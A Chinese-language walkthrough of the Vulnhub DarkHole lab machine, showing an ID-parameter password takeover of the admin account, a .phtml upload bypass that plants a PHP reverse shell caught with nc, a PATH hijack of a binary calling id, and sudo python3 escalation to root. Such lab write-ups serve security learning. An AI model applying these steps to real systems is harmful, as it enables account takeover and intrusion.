前言
由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!
1、靶机ip配置
- Kali IP:192.168.2.103
- 靶机IP:192.168.2.129
靶机ip获取方式如下图
2、渗透目标
- 获取到/root/目录下的flag文件
3、渗透概括
- 越权操作
- 文件上传绕过
- 修改环境绕过命令限制
- sudo python提权
开始实战
一、信息获取
使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP
如下所示
可以看到,开放的端口还是比较的多
发现了几个常用端口服务22/ssh 80/http
22/sshssh
可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息才使用这个
80/http
基本上大部分的漏洞都是存在于web服务上,我们访问看看,如下图。有一个login,我们点击看看能不能登录
这个界面试了一下万能密码
和跑了sqlmap
,然而并没有什么用,干脆就点击注册看看注册页面有没有什么东西
二、越权操作
我们将注册好的账户登录,界面很简单,就一个改密码的功能,但是我们观察URL
发现有一个id
的GET亲求参数,这里就可以猜测一些越权改密
那么我们就在上图修改密码的地方输入一个密码,用Burpsuite
抓一下包,把id
修改为1(猜的id为1的时候是admin用户)
然后点击send
发送修改好的数据包
三、文件上传
发送成功之后,我们再用admin用户与刚刚改的密码进行登录,发现成功登录并且修改了admin的密码
并且再这个页面发现了一个上传点,如下图
我们先在kali输入下面的命令拷贝一份kali自带的php反弹shell并命名为getshell.php
使用mousepad编辑这个拷贝下来的文件,修改监听的IP和端口
这里ip修改为自己的kali(攻击机)的ip即可,端口的话可自定义,这里我就用1234了。如下图
在这里用nc
监听1234端口用来接收返回下来的shell。如下图
上述步骤操作完之后现在就可以上传马了
跑了一遍测试脚本,发现这里有一个.phtml
的后缀不在黑名单内,可以直接进行绕过,如下图,操作完之后直接发送即可
这里点击一下file
,如下图,我们的nc监听的端口就可以获取到shell了
四、获取用户shell
如下是获取shell之后的内容
┌──(root㉿kali)-[~/tools]
└─# nc -lvvp 1234
listening on [any] 1234 ...
192.168.100.34: inverse host lookup failed: Unknown host
connect to [192.168.100.7] from (UNKNOWN) [192.168.100.34] 36700
#这里使用python升级一下shll
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@darkhole:/var/www/html/upload$
#看一下home目录有哪些目录
www-data@darkhole:/var/www/html/upload$ ls /home
darkhole
john
#发现了john用户,我们到其家目录看看
www-data@darkhole:/var/www/html/upload$ cd /home/john
ls -al
看看当前目录的文件,发现了一个toto
的可执行文件
./toto
运行一下,发现执行了id
命令,那么思路就来了,我们可以通过修改环境变量来获取一个用户shell
如下是操作步骤
#在/tmp/目录下面创建一个id文件
www-data@darkhole:/home/john$ echo '/bin/bash' > /tmp/id
#给这个id文件一个执行权限
www-data@darkhole:/home/john$ chmod +x /tmp/id
#把tmp目录添加到环境变量里面
www-data@darkhole:/home/john$ export PATH=/tmp:$PATH
#再次执行toto文件
www-data@darkhole:/home/john$ ./toto
#使用终端优化
python3 -c 'import pty;pty.spawn("/bin/bash")'
#使用whoami命令,已成功拿到john用户
john@darkhole:/home/john$ whoami
john
john@darkhole:/home/john$
用ls
看看当前目录发现了一个password
文件,cat看看,发现了一个密码
五、提权
用这里密码使用sudo -l
看看能够用sudo执行的命令,发现了还真的有干货
#通过如下命令修改file.py文件,便我们提权
john@darkhole:/home/john$ echo "import os" > file.py
john@darkhole:/home/john$ echo 'os.system("/bin/bash")' >> file.py
#用cat命令检查一下
john@darkhole:/home/john$ cat file.py
import os
os.system("/bin/bash")
#使用sudo提权
john@darkhole:/home/john$ sudo /usr/bin/python3 /home/john/file.py
[sudo] password for john: root123
root@darkhole:/home/john#
root@darkhole:/home/john# cd /root/
cd /root/
root@darkhole:~# ls
root.txt snap
#查看flag文件,靶机渗透结束
root@darkhole:~# cat root.txt
DarkHole{You_Are_Legend}